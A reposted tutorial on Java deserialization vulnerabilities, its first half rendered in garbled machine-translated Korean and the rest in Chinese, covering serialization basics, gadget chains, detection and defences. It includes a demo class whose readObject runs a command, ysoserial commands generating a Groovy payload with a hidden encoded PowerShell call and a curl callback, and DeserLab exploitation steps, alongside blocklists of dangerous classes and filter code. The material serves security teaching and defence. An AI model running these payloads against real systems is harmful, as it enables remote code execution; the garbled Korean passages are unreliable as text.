깊이 항목에서 자바 직렬화 취약점 (재 인쇄)

머리말

이 시리즈는 필요한 자바의 기본 사항을 알아 :

  1. 자바 문법과 구조 (신인 튜토리얼)의 기본 사항을 알아

  2. (빠른 이해 거의 이야기를 읽어 소리하시기 바랍니다 자바 객체 지향 프로그래밍 아이디어를 이해, 깊이있는 연구는이 "미친 자바 유인물"을 구입하는 것이 좋습니다 교육용 비디오도 여기서 자세히 객체 지향 사고의 도입에 알 수있는 또 다른 의미 리우 교사가있다. 링크 : HTTPS : //pan.baidu.com/s/1kUGb3D1#list/path=%2F&parentPath=%2FJava%E7%B1%BB 암호 : kk0x)

  3. 기본 Eclipse를 사용 (자기 바이두)

사실, 한 짧은 시간에 자바 클래스 대학, 또는 자체로 그들은 OK입니다. 그렇지 않다면, 당신은 짧은 시간에 자원 브래킷 자원을 마스터 할 수 있습니다.

이 튜토리얼의 목적 :

  1. 마스터 직렬화 취약점 원리.

  2. 찾기 및 실제 전투에서 직렬화 취약점을 악용.

  3. 마스터 합리적으로 직렬화 취약점 프로그래밍 기술을 피하십시오.

직렬화 및 역 직렬화으로

직렬화 및 역 직렬화 란 무엇인가

자바는 '세계'에 대한 설명입니다, 프로그램을 실행하기 시작,이 '세계'도 작동하지만, '세계'는 프로그램이 실행되는 정적 객체, 속성이 변경됩니다 없습니다.
그러나 많은 경우에, 우리는 뭔가를 객체의 정보를 저장하는 순간이 필요합니다. 이진 형태로 실행하는 등의 객체의 사용 상태를 직렬화하도록 프로그램은 파일 시스템에 저장되고, 다른 프로그램으로 직렬화 된 오브젝트의 상태 데이터를 역 직렬화하는 오브젝트를 복원 할 수있다. 효율적으로 멀티 플랫폼 간의 통신을 달성 할 수있는, 지속성 저장소 객체.

성공하기 위해서는 클래스의 객체 직렬화는 두 가지 조건이 충족되어야합니다 :

  1. 이 클래스는 java.io.Serializable 인터페이스를 구현해야합니다.

  2. 클래스의 모든 속성은 직렬화해야합니다. 속성이 직렬화 가능하지 않은 경우,이 건물은 수명이 짧은 표시해야합니다.

당신은 자바 표준 클래스가 직렬화 가능 여부를 알고 싶은 경우에, 당신은 클래스가 java.io.Serializable을 인터페이스를 달성하지 않은 참조 문서 클래스를 볼 수 있습니다.

다음은 간단한 쓰기 데모, 공간 직렬화 및 역 직렬화 간단하게하고, 전송 프로세스를 제거 문서를 저장하기 위해,
객체의 클래스 :

/**
 * Description:
 * <br/>网站: <a href="http://ph0rse.me">Ph0rse's Blog</a>
 * <br/>Copyright (C), 2018-2020, Ph0rse
 * <br/>This program is protected by copyright laws.
 * <br/>Program Name:
 * <br/>Date:
 * @author Ph0rse [email protected]
 * @version 1.0
 */
public class Employee implements java.io.Serializable
{
   public String name;
   public String identify;
   public void mailCheck()
   {
      System.out.println("This is the "+this.identify+" of our company");
   }
}

이진 파일에 객체를 직렬화 :

//反序列化所需类在io包中
import java.io.*;

public class SerializeDemo
{
   public static void main(String [] args)
   {
      Employee e = new Employee();
      e.name = "员工甲";
      e.identify = "General staff";
      try
      {
        // 打开一个文件输入流
         FileOutputStream fileOut =
         new FileOutputStream("D:\\Task\\employee1.db");
         // 建立对象输入流
         ObjectOutputStream out = new ObjectOutputStream(fileOut);
         //输出反序列化对象
         out.writeObject(e);
         out.close();
         fileOut.close();
         System.out.printf("Serialized data is saved in D:\\Task\\employee1.db");
      }catch(IOException i)
      {
          i.printStackTrace();
      }
   }
}

방문자 아이디 속성 객체가 employee1.db에 저장하고, 객체를 직렬화한다은 이진 파일에서 추출됩니다 :

import java.io.*;

public class SerializeDemo
{
   public static void main(String [] args)
   {
      Employee e = null;
      try
      {
        // 打开一个文件输入流
         FileInputStream fileIn = new FileInputStream("D:\\Task\\employee1.db");
        // 建立对象输入流
         ObjectInputStream in = new ObjectInputStream(fileIn);
        // 读取对象
         e = (Employee) in.readObject();
         in.close();
         fileIn.close();
      }catch(IOException i)
      {
         i.printStackTrace();
         return;
      }catch(ClassNotFoundException c)
      {
         System.out.println("Employee class not found");
         c.printStackTrace();
         return;
      }
      System.out.println("Deserialized Employee...");
      System.out.println("Name: " + e.name);
      System.out.println("This is the "+e.identify+" of our company");

    }
}

이러한 방법으로, 사이클의 전체 시퀀스는 좀 더 복잡의 전송을위한 방법과 전송 메커니즘의 실용적인 응용 프로그램보다 더 사실 아무것도에 완료 직렬화하고,이 데모는 큰 차이 없습니다.

PS : 시도 캐치 예외 처리기구를 직접 조작의 순서에 관련 없다. 당신은 심층 연구 Java 프로그래밍하는 "미친 자바 유인물"의 제안 구매 및 진 Xuliang 교사 자바 학습 PPT를 원하는 경우 (적극 권장)

간단한 직렬화 취약점 데모

자바 직렬화에서 쓰기 readObject 메소드 취약점으로 이어질 것입니다 시간이 아니다, readObject 메소드는 역 직렬화를 호출합니다.

추신 : 때때로, readUnshared를 ()이 호출을받을 직렬화 복원하는 readObject 및 readUnshared를 참조 객체에 대한 후속 호출을 허용하지 않는 객체를 읽어 readUnshared를 () 메소드를 사용하여 객체의 readObject를 읽을 수 있습니다.

//反序列化所需类在io包中
import java.io.*;
public class test{
    public static void main(String args[]) throws Exception{

        UnsafeClass Unsafe = new UnsafeClass();
        Unsafe.name = "hacked by ph0rse";

        FileOutputStream fos = new FileOutputStream("object");
        ObjectOutputStream os = new ObjectOutputStream(fos);
        //writeObject()方法将Unsafe对象写入object文件
        os.writeObject(Unsafe);
        os.close();
        //从文件中反序列化obj对象
        FileInputStream fis = new FileInputStream("object");
        ObjectInputStream ois = new ObjectInputStream(fis);
        //恢复对象
        UnsafeClass objectFromDisk = (UnsafeClass)ois.readObject();
        System.out.println(objectFromDisk.name);
        ois.close();
    }
}

class UnsafeClass implements Serializable{
    public String name;
    //重写readObject()方法
    private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{
        //执行默认的readObject()方法
        in.defaultReadObject();
        //执行命令
        Runtime.getRuntime().exec("calc.exe");
    }
}

로직을 실행 :

  1. UnsafeClass 클래스는 파일 객체로 직렬화

  2. 오브젝트 파일에서 개체를 복구

  3. 전화 readObject 메소드는 객체를 복원

  4. 명령 실행

역 직렬화 취약점 기원

개발 실수

데모하기 전에 완전한 반 직렬화는 보안 검토의 더 예 없지만, 이러한 정신적 장애인 코드를 작성하는 것이 진정한 프로그래머가되지 않습니다. 따라서 일반적인 개발할 때 발생하는 직렬화 취약점 다음과 같은 상황은 다음과 같습니다 :

  1. 재기록의 resolveClass ObjectInputStream의 객체 검출 방법은 생략 될 수있다.

  2. 타사 클래스의 사용은 제어를 블랙리스트. 큰 응용 프로그램에 많은 PHP, 자바 언어의 엄격 성보다 강한,하지만 원하는 모든 위험물을 해제하기 위해 블랙리스트 메커니즘을 사용하는 동안 거의 불가능하다. 이 필터링 차단 코드 검증 절차를 사용하여 발견되고있는 경우, 하나 또는 둘의 존재하에 대부분이 이용 될 수있다 "를 통해 미끄러 '. 그리고 후자는 새로운 기능을 추가, 그것은 악용 할 수있는 새로운 방법을 도입 할 수 있다면, 그 순간에 안전을 보장하기 위해 유일한 방법은 가능한 블랙리스트를 가지고. 그래서 혼자 블랙리스트 시퀀싱 프로세스의 안전을 보장 할 수 없습니다.

기본 라이브러리 숨겨진 직렬화 취약점

优秀的Java开发人员一般会按照安全编程规范进行编程,很大程度上减少了反序列化漏洞的产生。并且一些成熟的Java框架比如Spring MVC、Struts2等,都有相应的防范反序列化的机制。如果仅仅是开发失误,可能很少会产生反序列化漏洞,即使产生,其绕过方法、利用方式也较为复杂。但其实,有很大比例的反序列化漏洞是因使用了不安全的基础库而产生的。
2015年由黑客Gabriel Lawrence和Chris Frohoff发现的‘Apache Commons Collections’类库直接影响了WebLogic、WebSphere、JBoss、Jenkins、OpenNMS等大型框架。直到今天该漏洞的影响仍未消散。
存在危险的基础库:

commons-fileupload 1.3.1
commons-io 2.4
commons-collections 3.1
commons-logging 1.2
commons-beanutils 1.9.2
org.slf4j:slf4j-api 1.7.21
com.mchange:mchange-commons-java 0.2.11
org.apache.commons:commons-collections 4.0
com.mchange:c3p0 0.9.5.2
org.beanshell:bsh 2.0b5
org.codehaus.groovy:groovy 2.3.9
org.springframework:spring-aop 4.1.4.RELEASE

某反序列化防护软件便是通过禁用以下类的反序列化来保护程序:

'org.apache.commons.collections.functors.InvokerTransformer',
'org.apache.commons.collections.functors.InstantiateTransformer',
'org.apache.commons.collections4.functors.InvokerTransformer',
'org.apache.commons.collections4.functors.InstantiateTransformer',
'org.codehaus.groovy.runtime.ConvertedClosure',
'org.codehaus.groovy.runtime.MethodClosure',
'org.springframework.beans.factory.ObjectFactory',
'xalan.internal.xsltc.trax.TemplatesImpl'

基础库中的调用流程一般都比较复杂,比如org.apache.commons.collections.functors.InvokerTransformer的POP链就涉及反射、泛型等,而网上也有很多复现跟踪流程的文章,比如前些天先知发布的这两篇。
Java反序列化漏洞-玄铁重剑之CommonsCollection(上)
Java反序列化漏洞-玄铁重剑之CommonsCollection(下)
这里就不再赘述了,可以跟着ysoserial的EXP去源码中一步步跟进、调试。

POP Gadgets

这里介绍一个概念,POP Gadgets指的是在通过带入序列化数据,经过一系列调用的代码链,其中POP指的是Property-Oriented Programming,即面向属性编程,和逆向那边的ROP很相似,面向属性编程(Property-Oriented Programing)常用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程(Return-Oriented Programing)的原理相似,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链。在控制代码或者程序的执行流程后就能够使用这一组调用链做一些工作了。两者的不同之处在于ROP更关注底层,而POP只关注对象与对象之间的调用关系。
Gadgets是小工具的意思,POP Gadgets即为面向属性编程的利用工具、利用链。当我们确定了可以带入序列化数据的入口后,便是要寻找对应的POP链。以上提到的基础库和框架恰恰提供了可导致命令执行 POP 链的环境,所以引入了用户可控的序列化数据,并使用了不安全的基本库,就意味着存在反序列化漏洞。
随着对反序列化漏洞的深入,我们会慢慢意识到很难将不安全的基本库这一历史遗留问题完全清楚,所以清楚漏洞的根源还是在不可信的输入和未检测反序列化对象安全性。

基本库中的反序列化触发机制较为复杂和底层,可以结合ysoserial源码中的exp来进行跟进分析。

本文后期会进行详细讲解。

如何发现Java反序列化漏洞

白盒检测

当持有程序源码时,可以采用这种方法,逆向寻找漏洞。

反序列化操作一般应用在导入模板文件、网络通信、数据传输、日志格式化存储、对象数据落磁盘、或DB存储等业务场景。因此审计过程中重点关注这些功能板块。

流程如下:

① 通过检索源码中对反序列化函数的调用来静态寻找反序列化的输入点
可以搜索以下函数:

ObjectInputStream.readObject
ObjectInputStream.readUnshared
XMLDecoder.readObject
Yaml.load
XStream.fromXML
ObjectMapper.readValue
JSON.parseObject

小数点前面是类名,后面是方法名

② 确定了反序列化输入点后,再考察应用的Class Path中是否包含Apache Commons Collections等危险库(ysoserial所支持的其他库亦可)。

③ 若不包含危险库,则查看一些涉及命令、代码执行的代码区域,防止程序员代码不严谨,导致bug。

④ 若包含危险库,则使用ysoserial进行攻击复现。

黑盒检测

在黑盒测试中并不清楚对方的代码架构,但仍然可以通过分析十六进制数据块,锁定某些存在漏洞的通用基础库(比如Apache Commons Collection)的调用地点,并进行数据替换,从而实现利用。
在实战过程中,我们可以通过抓包来检测请求中可能存在的序列化数据。
序列化数据通常以AC ED开始,之后的两个字节是版本号,版本号一般是00 05但在某些情况下可能是更高的数字。
为了理解反序列化数据样式,我们使用以下代码举例:

import java.io.*;

public class SerializeDemo
{
   public static void main(String [] args)
   {
      Employee e = new Employee();
      e.name = "员工甲";
      e.identify = "General staff";
      try
      {
        // 打开一个文件输入流
         FileOutputStream fileOut =
         new FileOutputStream("D:\\Task\\employee1.db");
         // 建立对象输入流
         ObjectOutputStream out = new ObjectOutputStream(fileOut);
         //输出反序列化对象
         out.writeObject(e);
         out.close();
         fileOut.close();
         System.out.printf("Serialized data is saved in D:\\Task\\employee1.db");
      }catch(IOException i)
      {
          i.printStackTrace();
      }
   }
}

在本地环境下运行一下,即可看到生成的employee1.db文件。
生成的employee1.db反序列化数据为(可用Winhex、Sublime等工具打开):
 

需要注意的是,AC ED 00 05是常见的序列化数据开始,但有些应用程序在整个运行周期中保持与服务器的网络连接,如果攻击载荷是在延迟中发送的,那检测这四个字节就是无效的。所以有些防火墙工具在检测反序列化数据时仅仅检测这几个字节是不安全的设置。

所以我们也要对序列化转储过程中出现的Java类名称进行检测,Java类名称可能会以“L”开头的替代格式出现 ,以’;’结尾 ,并使用正斜杠来分隔命名空间和类名(例如 “Ljava / rmi / dgc / VMID;”)。除了Java类名,由于序列化格式规范的约定,还有一些其他常见的字符串,例如 :表示对象(TC_OBJECT),后跟其类描述(TC_CLASSDESC)的’sr’或 可能表示没有超类(TC_NULL)的类的类注释(TC_ENDBLOCKDATA)的’xp’。

识别出序列化数据后,就要定位插入点,不同的数据类型有以下的十六进制对照表:

0x70 - TC_NULL
0x71 - TC_REFERENCE
0x72 - TC_CLASSDESC
0x73 - TC_OBJECT
0x74 - TC_STRING
0x75 - TC_ARRAY
0x76 - TC_CLASS
0x7B - TC_EXCEPTION
0x7C - TC_LONGSTRING
0x7D - TC_PROXYCLASSDESC
0x7E - TC_ENUM

AC ED 00 05之后可能跟上述的数据类型说明符,也可能跟77(TC_BLOCKDATA元素)7A(TC_BLOCKDATALONG元素)其后跟的是块数据。

序列化数据信息是将对象信息按照一定规则组成的,那我们根据这个规则也可以逆向推测出数据信息中的数据类型等信息。并且有大牛写好了现成的工具-SerializationDumper

用法:
java -jar SerializationDumper-v1.0.jar aced000573720008456d706c6f796565eae11e5afcd287c50200024c00086964656e746966797400124c6a6176612f6c616e672f537472696e673b4c00046e616d6571007e0001787074000d47656e6572616c207374616666740009e59198e5b7a5e794b2

后面跟的十六进制字符串即为序列化后的数据

工具自动解析出包含的数据类型之后,就可以替换掉TC_BLOCKDATE进行替换了。AC ED 00 05经过Base64编码之后为rO0AB

在实战过程中,我们可以通过tcpdump抓取TCP/HTTP请求,通过SerialBrute.py去自动化检测,并插入ysoserial生成的exp

SerialBrute.py -r <file> -c <command> [opts]
SerialBrute.py -p <file> -t <host:port> -c <command> [opts]

使用ysoserial.jar访问请求记录判断反序列化漏洞是否利用成功:
java -jar ysoserial.jar CommonsCollections1 'curl " + URL + " '

当怀疑某个web应用存在Java反序列化漏洞,可以通过以上方法扫描并爆破攻击其RMI或JMX端口(默认1099)。

环境测试

在这里,我们使用大牛写好的DeserLab来模拟实战环境。

DeserLab演示

DeserLab是一个使用了Groovy库的简单网络协议应用,实现client向server端发送序列化数据的功能。而Groovy库和上文中的Apache Commons Collection库一样,含有可利用的POP链。
我们可以使用上文提到的ysoserial和在线载荷生成器进行模拟利用。
复现环境:

  1. win10

  2. python2.7

  3. java1.8

首先生成有效载荷,由于是在windows环境下,所以使用powershell作为攻击载体。

用ysoserial生成针对Groovy库的payload
java -jar ysoserial.jar Groovy1 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc bQBrAGQAaQByACAAaABhAGMAawBlAGQAXwBiAHkAXwBwAGgA MAByAHMAZQA=" > payload2.bin

在DeserLab的Github项目页面下载DeserLab.jar
命令行下使用java -jar DeserLab.jar -server 127.0.0.1 6666开启本地服务端。

使用deserlab_exploit.py脚本【上传到自己的github gist页面上】生成payload:
python deserlab_exploit.py 127.0.0.1 6666 payload2.bin

PS:注意使用py2.7

成功写入:

即可执行任意命令

反序列化修复

每一名Java程序员都应当掌握防范反序列化漏洞的编程技巧、以及如何降低危险库对应用造成的危害。

对于危险基础类的调用

下载这个jar后放置于classpath,将应用代码中的java.io.ObjectInputStream替换为SerialKiller,之后配置让其能够允许或禁用一些存在问题的类,SerialKiller有Hot-Reload,Whitelisting,Blacklisting几个特性,控制了外部输入反序列化后的可信类型。

通过Hook resolveClass来校验反序列化的类

在使用readObject()反序列化时首先会调用resolveClass方法读取反序列化的类名,所以这里通过重写ObjectInputStream对象的resolveClass方法即可实现对反序列化类的校验。具体实现代码Demo如下:

public class AntObjectInputStream extends ObjectInputStream{
    public AntObjectInputStream(InputStream inputStream)
            throws IOException {
        super(inputStream);
    }

    /**
     * 只允许反序列化SerialObject class
     */
    @Override
    protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException,
            ClassNotFoundException {
        if (!desc.getName().equals(SerialObject.class.getName())) {
            throw new InvalidClassException(
                    "Unauthorized deserialization attempt",
                    desc.getName());
        }
        return super.resolveClass(desc);
    }
}

通过此方法,可灵活的设置允许反序列化类的白名单,也可设置不允许反序列化类的黑名单。但反序列化漏洞利用方法一直在不断的被发现,黑名单需要一直更新维护,且未公开的利用方法无法覆盖。

org.apache.commons.collections.functors.InvokerTransformer
org.apache.commons.collections.functors.InstantiateTransformer
org.apache.commons.collections4.functors.InvokerTransformer
org.apache.commons.collections4.functors.InstantiateTransformer
org.codehaus.groovy.runtime.ConvertedClosure
org.codehaus.groovy.runtime.MethodClosure
org.springframework.beans.factory.ObjectFactory
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
org.apache.commons.fileupload
org.apache.commons.beanutils

根据以上方法,有大牛实现了线程的SerialKiller包可供使用。

使用ValidatingObjectInputStream来校验反序列化的类

使用Apache Commons IO Serialization包中的ValidatingObjectInputStream类的accept方法来实现反序列化类白/黑名单控制,具体可参考ValidatingObjectInputStream介绍;示例代码如下:

private static Object deserialize(byte[] buffer) throws IOException,
ClassNotFoundException , ConfigurationException {
    Object obj;
    ByteArrayInputStream bais = new ByteArrayInputStream(buffer);
    // Use ValidatingObjectInputStream instead of InputStream
    ValidatingObjectInputStream ois = new   ValidatingObjectInputStream(bais); 

    //只允许反序列化SerialObject class
    ois.accept(SerialObject.class);
    obj = ois.readObject();
    return obj;
}

使用contrast-rO0防御反序列化攻击

contrast-rO0是一个轻量级的agent程序,通过通过重写ObjectInputStream来防御反序列化漏洞攻击。使用其中的SafeObjectInputStream类来实现反序列化类白/黑名单控制,示例代码如下:

SafeObjectInputStream in = new SafeObjectInputStream(inputStream, true);
in.addToWhitelist(SerialObject.class);

in.readObject();

使用ObjectInputFilter来校验反序列化的类

Java 9包含了支持序列化数据过滤的新特性,开发人员也可以继承java.io.ObjectInputFilter类重写checkInput方法实现自定义的过滤器,,并使用ObjectInputStream对象的setObjectInputFilter设置过滤器来实现反序列化类白/黑名单控制。示例代码如下:

import java.util.List;
import java.util.Optional;
import java.util.function.Function;
import java.io.ObjectInputFilter;
class BikeFilter implements ObjectInputFilter {
    private long maxStreamBytes = 78; // Maximum allowed bytes in the stream.
    private long maxDepth = 1; // Maximum depth of the graph allowed.
    private long maxReferences = 1; // Maximum number of references in a graph.
    @Override
    public Status checkInput(FilterInfo filterInfo) {
        if (filterInfo.references() < 0 || filterInfo.depth() < 0 || filterInfo.streamBytes() < 0 || filterInfo.references() > maxReferences || filterInfo.depth() > maxDepth|| filterInfo.streamBytes() > maxStreamBytes) {
            return Status.REJECTED;
        }
        Class<?> clazz = filterInfo.serialClass();
        if (clazz != null) {
            if (SerialObject.class == filterInfo.serialClass()) {
                return Status.ALLOWED;
            }
            else {
                return Status.REJECTED;
            }
        }
        return Status.UNDECIDED;
    } // end checkInput
} // end class BikeFilter

上述示例代码,仅允许反序列化SerialObject类对象。

禁止JVM执行外部命令Runtime.exec

通过扩展SecurityManager

SecurityManager originalSecurityManager = System.getSecurityManager();
        if (originalSecurityManager == null) {
            // 创建自己的SecurityManager
            SecurityManager sm = new SecurityManager() {
                private void check(Permission perm) {
                    // 禁止exec
                    if (perm instanceof java.io.FilePermission) {
                        String actions = perm.getActions();
                        if (actions != null && actions.contains("execute")) {
                            throw new SecurityException("execute denied!");
                        }
                    }
                    // 禁止设置新的SecurityManager,保护自己
                    if (perm instanceof java.lang.RuntimePermission) {
                        String name = perm.getName();
                        if (name != null && name.contains("setSecurityManager")) {
                            throw new SecurityException("System.setSecurityManager denied!");
                        }
                    }
                }

                @Override
                public void checkPermission(Permission perm) {
                    check(perm);
                }

                @Override
                public void checkPermission(Permission perm, Object context) {
                    check(perm);
                }
            };

            System.setSecurityManager(sm);
        }

不建议使用的黑名单

在反序列化时设置类的黑名单来防御反序列化漏洞利用及攻击,这个做法在源代码修复的时候并不是推荐的方法,因为你不能保证能覆盖所有可能的类,而且有新的利用payload出来时也需要随之更新黑名单,但有一种场景下可能黑名单是一个不错的选择。写代码的时候总会把一些经常用到的方法封装到公共类,这样其它工程中用到只需要导入jar包即可,此前已经见到很多提供反序列化操作的公共接口,使用第三方库反序列化接口就不好用白名单的方式来修复了。这个时候作为第三方库也不知道谁会调用接口,会反序列化什么类,所以这个时候可以使用黑名单的方式来禁止一些已知危险的类被反序列化,具体的黑名单类可参考contrast-rO0、ysoserial中paylaod包含的类。

总结

感觉在实战中遇到的Java站点越来越多,Java反序列化漏洞的利用也愈发显得重要。除了常见的Web服务反序列化,安卓、桌面应用、中间件、工控组件等等的反序列化。以及XML(前一阵的Weblogic挖矿事件就是XMLDecoder引起的Java反序列化)、JSON、RMI等细致化的分类。
代码审计及渗透测试过程中可以翻阅我翻译的一份Java反序列化漏洞备忘单,里面集合了目前关于Java反序列化研究的大会PPT、PDF文档、测试代码,以及权威组织发布的漏洞研究报告,还有被反序列化攻破的应用清单(附带POC)。
这着实是一个庞大的知识体系,笔者目前功力较浅,希望日后还能和各位师傅一起讨论、学习。

추천

출처www.cnblogs.com/Fluorescence-tjy/p/11222052.html